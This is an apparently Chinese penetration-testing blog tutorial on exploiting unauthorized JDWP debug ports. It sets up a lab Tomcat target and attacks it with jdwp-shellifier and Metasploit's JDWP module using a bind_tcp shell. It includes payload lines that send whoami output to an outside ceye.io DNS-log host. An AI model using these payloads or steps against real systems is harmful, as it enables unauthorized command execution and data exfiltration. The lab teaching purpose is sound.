JDWP简介
这里首先要说明一下 debugger 和 target vm。Target vm 中运行着我们希望要调试的程序,它与一般运行的 Java 虚拟机没有什么区别,只是在启动时加载了 Agent JDWP 从而具备了调试功能。而 debugger 就是我们熟知的调试器,它向运行中的 target vm 发送命令来获取 target vm 运行时的状态和控制 Java 程序的执行。Debugger 和 target vm 分别在各自的进程中运行,他们之间的通信协议就是 JDWP。
JDWP的握手协议
JDWP 大致分为两个阶段:握手和应答。握手是在传输层连接建立完成后,做的第一件事,Debugger 发送 14 bytes 的字符串“JDWP-Handshake”到 target Java 虚拟机Target Java 虚拟机回复“JDWP-Handshake”
JDWPagent 在调试中扮演的角色
实验环境搭建
攻击机器kali IP:192.168.204.128
靶机centos7 IP:192.168.204.133
wget下载Tomcat安装包wgethttp://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz
解压安装包tar zxvf apache-tomcat-8.5.43.tar.gz
将程序复制到指定运行目录sudo mv apache-tomcat-8.5.43 /usr/local/tomcat8
进入bin目录 cd bin
找到catalina.sh文件首行添加declare -xCATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"
使用./startup.sh启动Tomcat
JDWP服务的指纹发现
我们先用namp扫描试试看
Nmap没有输出详细的端口服务,我们重新扫描一下
我们使用telnet ip port 然后快速发送JDWP-Handshake来进行简单验证是否存在未授权漏洞,如果服务器也返回了JDWP-Handshake那么十有八九就存在该漏洞了
漏洞利用办法
使用jdwp-shellifier脚本进行命令执行
使用metasploit进行漏洞利用
使用IntelliJ IDEA编辑器进行利用(篇幅较大 准备下次细讲)
下面我们给大家演示使用jdwp-shellifier脚本对JDWP协议未授权访问漏洞进行命令执行操作,首先我们需要到达https://github.com/IOActive/jdwp-shellifier下载脚本
阅读作者的README.md就可以知道使用脚本的命令格式
我们来对我们的目标IP进行尝试利用
们使用dnslog尝试测试 工具网址http://ceye.io/records/dns
可以看到上面是没有返回目录信息的,下面我们通过ceye.io提供的测试payloads进行测试
Liunx常见payloads
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
windows常见payloads
ping%USERNAME%.b182oj.ceye.io
下面我们开始用Metasploit对JDWP这个漏洞进行利用
我们使用msfconsole启动Metasploit,并且选用exploit/multi/misc/java_jdwp_debugger漏洞利用模块
使用info可以查看当前的漏洞EXP信息
我们设置好靶机的IP和漏洞应用端口
划重点:
由于我们平常进行安全测试或者渗透测试工作,很多都在甲方工作,我们工作的网络环境会很复杂,笔者的笔记本接入到公司网络中的时候,准入软件和安全软件都不让我建立一个nc监听端口,通常我们测试的时候很多时候用KALI系统也没有内网IP,那么我们反弹的时候只有在公网建立一个Metasploit监听端口,一些环境做了网络隔离还不能连接公网,那么我们这个时候只有选用正向连接后门了,下面我画图给大家演示一下大概的意思。
常见木马分类
Msfvenom方便生成的常见的Meterpreter正向和反向连接后门
reverse_tcp
reverse_http
reverse_https
bind_tcp
日常工作中常见的就是这几种类型的后门,其中只有bind_tcp是正向连接的
我们在当前的EXP中使用showpayloads查看该EXP支持哪些载荷也就是后门
我们设置EXP使用payloadlinux/x64/shell/bind_tcp载荷
现在我们所有的配置都完成了,最后只要输入run就可以直接执行了,下面我们看看执行的过程
通过以上内容我们简单的介绍了JDWP漏洞信息,也通过实例介绍了两种利用方法。jdwp-shellifier.py脚本的优点是容易部署和利用,缺点是没有执行回显。Metasploit的JDWP利用模块使用起来简单快捷并且可以执行系统命令,但是kali系统在一些环境中使用显得有些臃肿,平时自己用的时候针对相应场景选用即可。好了今天的文章就到这里了,不久我会写一篇使用IntelliJ IDEA编辑器进行利用JDWP漏洞,详细的描述一下漏洞的利用原理和经过。
(喜欢请转发,谢谢!)
加入爱测未来qq群,获取更专业的技术知识分享:
274166295 (爱测未来二群)
610934609 (爱测未来三群)
195730410 (爱测未来四群)
更多精彩文章:
移动端H5调试与自动化
Android兼容性测试应该怎么做逼格更高呢?
JVM性能调优
MTP-移动测试平台
性能分析之OS资源饱和度
前端性能监控
来自520的福利----视频直播平台性能测试
前端性能测试平台及应用
震惊性能测试圈的经典案例!!
在airtest中使用ocr反向识别文本内容
数据库性能分析与优化(爱测未来团队内训材料)
性能分析之激情的过程无奈的结局谈谈从事IT测试行业的我,对于买房买车有什么样的感受
关于性能测试认知的反思
性能测试中的硬件存储知识
一小时学会接口测试
性能平台之Jmeter通过influxdb在Grafana中的数据展现逻辑
——————————————————
测试之道 | 测试技术
长按识别二维码,关注爱测未来公众号,了解更多精彩内容